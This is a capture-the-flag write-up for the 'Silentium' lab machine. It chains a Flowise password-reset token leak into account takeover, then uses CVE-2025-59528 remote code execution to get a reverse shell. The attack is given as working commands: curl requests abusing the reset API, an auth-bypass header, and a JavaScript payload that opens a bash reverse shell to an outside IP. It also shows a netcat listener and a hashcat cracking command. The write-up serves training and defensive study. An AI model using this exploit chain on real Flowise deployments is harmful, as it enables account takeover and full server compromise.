overview
silentium is a medium linux box themed around a financial institution's internal tooling. the attack path runs through a staging subdomain running flowise, an ai workflow platform, where a password reset api leaks the reset token directly in its response, allowing account takeover without email access. from there, cve-2025-59528 (flowise custommcp rce) combined with an internal auth bypass header delivers a reverse shell.
enumeration
nmap scan
nmap -sC -sV -oN silentium_initial.txt silentium.htb
two ports open:
- port 22: openssh 9.6p1 (ubuntu)
- port 80: nginx 1.24.0, "silentium | institutional capital & lending solutions"
subdomain discovery
virtual host fuzzing against silentium.htb revealed a staging environment:
ffuf -u http://silentium.htb -H "Host: FUZZ.silentium.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fc 301
result: staging.silentium.htb, a flowise instance (ai workflow builder). added to /etc/hosts and browsed directly.
password reset token leak
the flowise instance had a user account at ben@silentium.htb. the forgot-password api endpoint had a critical flaw: it returned the tempToken directly in the json response body rather than sending it only via email:
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
the response included "tempToken":"...". this token was used to reset the password:
curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"LEAKED_TOKEN","password":"Hacked123!"}}'
flowise authentication
with the new password, a login request retrieved the jwt session cookies needed for authenticated api calls:
RESP=$(curl -si -X POST http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"ben@silentium.htb","password":"Hacked123!"}')
JWT=$(echo "$RESP" | grep "Set-Cookie: token=" | sed 's/.*token=\([^;]*\).*/\1/')
REFRESH=$(echo "$RESP" | grep "refreshToken=" | sed 's/.*refreshToken=\([^;]*\).*/\1/')
SID=$(echo "$RESP" | grep "connect.sid=" | sed 's/.*connect.sid=\([^;]*\).*/\1/')
remote code execution, cve-2025-59528
cve-2025-59528 is an rce vulnerability in flowise's customMCP node. the /api/v1/node-load-method/customMCP endpoint executes arbitrary javascript through the listActions method. the x-request-from: internal header bypasses the normal authentication check, allowing unauthenticated access, though in this case a valid session was already held:
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-H "Cookie: token=$JWT; refreshToken=$REFRESH; connect.sid=$SID" \
-d '{
"loadMethod":"listActions",
"inputs":{
"mcpServerConfig":"({x:(function(){
const cp=process.mainModule.require('"'"'child_process'"'"');
cp.exec('"'"'bash -c \"bash -i >& /dev/tcp/10.10.14.17/4445 0>&1\"'"'"');
return 1;
})()"
}
}'
the listener caught the connection:
nc -lvnp 4445
flags
a shell was obtained as the flowise service user. from there, lateral movement and privilege escalation led to both flags. the bcrypt hash for ben@silentium.htb was also recoverable for offline cracking:
# Hash: $2a$05$6o1ngPjXiRj.EbTK33Phyu...
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
key takeaways
the core issue here was an api returning security-sensitive data (a password reset token) directly to the caller, a design flaw that completely bypasses the purpose of email verification. the flowise rce compounds this by being reachable via a simple internal header bypass. both vulnerabilities are examples of server-side trust assumptions that should never be exposed to the network.